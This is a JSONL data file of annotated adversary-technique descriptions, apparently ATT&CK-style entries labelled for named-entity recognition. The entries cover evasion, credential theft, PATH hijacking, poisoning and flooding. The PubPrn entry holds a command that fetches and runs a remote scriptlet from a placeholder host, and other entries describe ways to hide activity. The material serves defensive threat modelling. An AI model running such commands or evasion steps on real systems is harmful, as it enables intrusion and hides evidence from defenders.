+{"text": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.", "spans": {}, "info": {"source": "apt_reports", "name": "Revert Cloud Instance"}}
+{"text": "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.", "spans": {"SYSTEM: macOS": [[653, 658]], "SYSTEM: Linux": [[424, 429]]}, "info": {"source": "apt_reports", "name": "HISTCONTROL"}}
+{"text": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).\n\nAdversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.", "spans": {}, "info": {"source": "apt_reports", "name": "Gather Victim Host Information"}}
+{"text": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).", "spans": {}, "info": {"source": "apt_reports", "name": "Digital Certificates"}}
+{"text": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.", "spans": {"SYSTEM: Windows": [[910, 917]]}, "info": {"source": "apt_reports", "name": "Keylogging"}}
+{"text": "Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.\n\nAdversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than  tampering with tool settings to add a new exclusion (i.e., Disable or Modify Tools), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use Security Software Discovery and other Discovery/Reconnaissance activities to both discover and verify existing exclusions in a victim environment.", "spans": {}, "info": {"source": "apt_reports", "name": "File/Path Exclusions"}}
+{"text": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files. File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Unix Shell Configuration Modification or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.", "spans": {"SYSTEM: Unix": [[1221, 1225]], "SYSTEM: Linux": [[451, 456], [461, 466]]}, "info": {"source": "apt_reports", "name": "Linux and Mac File and Directory Permissions Modification"}}
+{"text": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. \n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.. Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", "spans": {"TOOL: SSH": [[949, 952]], "TOOL: RDP": [[1078, 1081]], "TOOL: VNC": [[1224, 1227]], "SYSTEM: Office 365": [[1487, 1497]], "SYSTEM: Kerberos": [[1058, 1066], [1692, 1700]], "SYSTEM: MySQL": [[1205, 1210]], "SYSTEM: SMB": [[1007, 1010], [1760, 1763]], "SYSTEM: Windows": [[1779, 1786]], "SYSTEM: LDAP": [[1041, 1045], [1683, 1687]], "VULNERABILITY: brute force": [[1580, 1591]]}, "info": {"source": "apt_reports", "name": "Password Guessing"}}
+{"text": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).", "spans": {"IP_ADDRESS: 127.0.0.1": [[713, 722]], "URL: https://mydomain.com/folder/file.sct": [[730, 766]], "TOOL: cscript": [[385, 392]], "SYSTEM: Windows": [[246, 253], [936, 943]], "SYSTEM: LDAP": [[409, 413], [1123, 1127]], "SYSTEM: Active Directory": [[137, 153]], "ORGANIZATION: Microsoft": [[199, 208]]}, "info": {"source": "apt_reports", "name": "PubPrn"}}
+{"text": "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).", "spans": {}, "info": {"source": "apt_reports", "name": "Purchase Technical Data"}}
+{"text": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures. Credentials can then be used to perform Lateral Movement and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.", "spans": {}, "info": {"source": "apt_reports", "name": "OS Credential Dumping"}}
+{"text": "Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API).\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.\n\nThe Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.\n\nThe Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows Native API which is called from functions like `LoadLibrary` at run time.", "spans": {"SYSTEM: macOS": [[581, 586], [757, 762]], "SYSTEM: Windows": [[830, 837], [1034, 1041]], "SYSTEM: Linux": [[573, 578]]}, "info": {"source": "apt_reports", "name": "Shared Modules"}}
+{"text": "Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.", "spans": {}, "info": {"source": "apt_reports", "name": "Data from Configuration Repository"}}
+{"text": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table. The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. Disk Structure Wipe may be performed in isolation, or along with Disk Content Wipe if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using Network Device CLI commands such as `format`.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.", "spans": {"SYSTEM: SMB": [[1185, 1188]], "SYSTEM: Windows": [[1189, 1196]]}, "info": {"source": "apt_reports", "name": "Disk Structure Wipe"}}
+{"text": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. Direct Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.", "spans": {"VULNERABILITY: DDoS": [[942, 946], [1154, 1158], [1278, 1282]], "VULNERABILITY: DoS": [[54, 57], [130, 133], [937, 940]], "VULNERABILITY: denial of service": [[35, 52]]}, "info": {"source": "apt_reports", "name": "Direct Network Flood"}}
+{"text": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity. By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "spans": {}, "info": {"source": "apt_reports", "name": "Stored Data Manipulation"}}
+{"text": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched.  An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the `/etc/paths.d` folder contents.", "spans": {"FILEPATH: C:\\example": [[684, 694], [842, 852]], "FILEPATH: C:\\Windows\\system32\\net.exe`": [[729, 757]], "FILEPATH: C:\\Windows\\system32\\net.exe`.": [[924, 953]], "FILEPATH: /etc/paths.d`": [[1705, 1718]], "TOOL: net.exe": [[671, 678], [749, 756], [944, 951]], "SYSTEM: macOS": [[1509, 1514]], "SYSTEM: Unix": [[1648, 1652]], "SYSTEM: Windows": [[613, 620], [732, 739], [927, 934]]}, "info": {"source": "apt_reports", "name": "Path Interception by PATH Environment Variable"}}
+{"text": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., Unsecured Credentials)\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources", "spans": {"SYSTEM: SharePoint": [[29, 39], [93, 103], [374, 384]]}, "info": {"source": "apt_reports", "name": "Sharepoint"}}
+{"text": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. \n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell. Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and esentutl) to create shadow copies or backups of data from system volumes.", "spans": {"TOOL: PowerShell": [[449, 459]], "TOOL: esentutl": [[556, 564]], "TOOL: vssadmin": [[530, 538]], "SYSTEM: Windows": [[100, 107], [311, 318]]}, "info": {"source": "apt_reports", "name": "Direct Volume Access"}}
+{"text": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors.", "spans": {"FILEPATH: %TEMP%": [[1744, 1750]], "TOOL: replace": [[599, 606], [975, 982]], "SYSTEM: Windows": [[898, 905]], "VULNERABILITY: privilege escalation": [[1068, 1088], [2236, 2256]]}, "info": {"source": "apt_reports", "name": "File System Permissions Weakness"}}
+{"text": "Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting Reconnaissance, creating basic scripts, assisting social engineering, and even developing payloads. \n\nFor example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in Phishing/Phishing for Information campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting Develop Capabilities. AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., Obfuscated Files or Information) malicious scripts and payloads. Finally, AI-generated text, images, audio, and video may be used for fraud, Impersonation, and other malicious activities.", "spans": {}, "info": {"source": "apt_reports", "name": "Artificial Intelligence"}}
+{"text": "Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses.  \n\nIaaS environments often group resources into a hierarchy, enabling improved resource management and application of policies to relevant groups. Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.\n\nAdversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim’s compute resources without generating logs on the victim tenant.\n\nIn AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization. This account will use the same payment methods registered to the payment account but may not be subject to existing detections or Service Control Policies.", "spans": {"SYSTEM: AWS": [[354, 357], [1066, 1069], [1225, 1228], [1481, 1484]], "SYSTEM: Azure": [[443, 448], [642, 647]], "MALWARE: Global": [[702, 708]]}, "info": {"source": "apt_reports", "name": "Modify Cloud Resource Hierarchy"}}
+{"text": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> PowerShell cmdlets on Windows systems.\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to Internal Spearphishing emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. \n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions. Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).", "spans": {"TOOL: PowerShell": [[408, 418]], "SYSTEM: Windows": [[430, 437]], "SYSTEM: Microsoft Exchange": [[1357, 1375]], "ORGANIZATION: Microsoft": [[1357, 1366]]}, "info": {"source": "apt_reports", "name": "Email Hiding Rules"}}
+{"text": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. External Defacement may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda. External Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as Drive-by Compromise.", "spans": {}, "info": {"source": "apt_reports", "name": "External Defacement"}}
+{"text": "Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as Software Packing, Steganography, and Embedded Payloads, share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., Deobfuscate/Decode Files or Information) at the time of execution/use.\n\nThis type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files. Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding schemes such as Base64.\n\nThe entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.\n\nFor example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a Phishing payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., User Execution). \n\nAdversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until Command and Scripting Interpreter execution.", "spans": {}, "info": {"source": "apt_reports", "name": "Encrypted/Encoded File"}}
+{"text": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name.  \n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. \n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder.", "spans": {"TOOL: Responder": [[1611, 1620]], "TOOL: Metasploit": [[1595, 1605]], "SYSTEM: Windows": [[93, 100]], "ORGANIZATION: Microsoft": [[83, 92]]}, "info": {"source": "apt_reports", "name": "LLMNR/NBT-NS Poisoning and Relay"}}
+{"text": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).", "spans": {}, "info": {"source": "apt_reports", "name": "IP Addresses"}}
+{"text": "Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods. With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.", "spans": {"VULNERABILITY: DoS": [[44, 47]], "VULNERABILITY: denial of service": [[25, 42]]}, "info": {"source": "apt_reports", "name": "OS Exhaustion Flood"}}
+{"text": "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.  \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or System Firmware.  Rootkits have been seen for Windows, Linux, and Mac OS X systems.  \n\nRootkits that reside or modify boot sectors are known as Bootkits and specifically target the boot process of the operating system.", "spans": {"SYSTEM: Mac OS": [[505, 511]], "SYSTEM: Windows": [[485, 492]], "SYSTEM: Mac OS X": [[505, 513]], "SYSTEM: Linux": [[494, 499]], "VULNERABILITY: rootkit": [[308, 315]]}, "info": {"source": "apt_reports", "name": "Rootkit"}}
+{"text": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.\n\nPowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.  \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched.  \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.", "spans": {"TOOL: PowerShell": [[100, 110], [123, 133], [197, 207], [282, 292], [407, 417], [444, 454], [464, 474], [714, 724], [779, 789], [977, 987]]}, "info": {"source": "apt_reports", "name": "PowerShell Profile"}}
+{"text": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the Component Object Model and Internet Explorer HTML Application (HTA) pages.\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and AppleScript. Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a Drive-by Compromise or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of Obfuscated Files or Information.", "spans": {"SYSTEM: macOS": [[591, 596]], "SYSTEM: Windows": [[392, 399], [458, 465]], "SYSTEM: Internet Explorer": [[505, 522]], "ORGANIZATION: Microsoft": [[304, 313]], "ORGANIZATION: Apple": [[657, 662], [734, 739], [875, 880]]}, "info": {"source": "apt_reports", "name": "JavaScript"}}
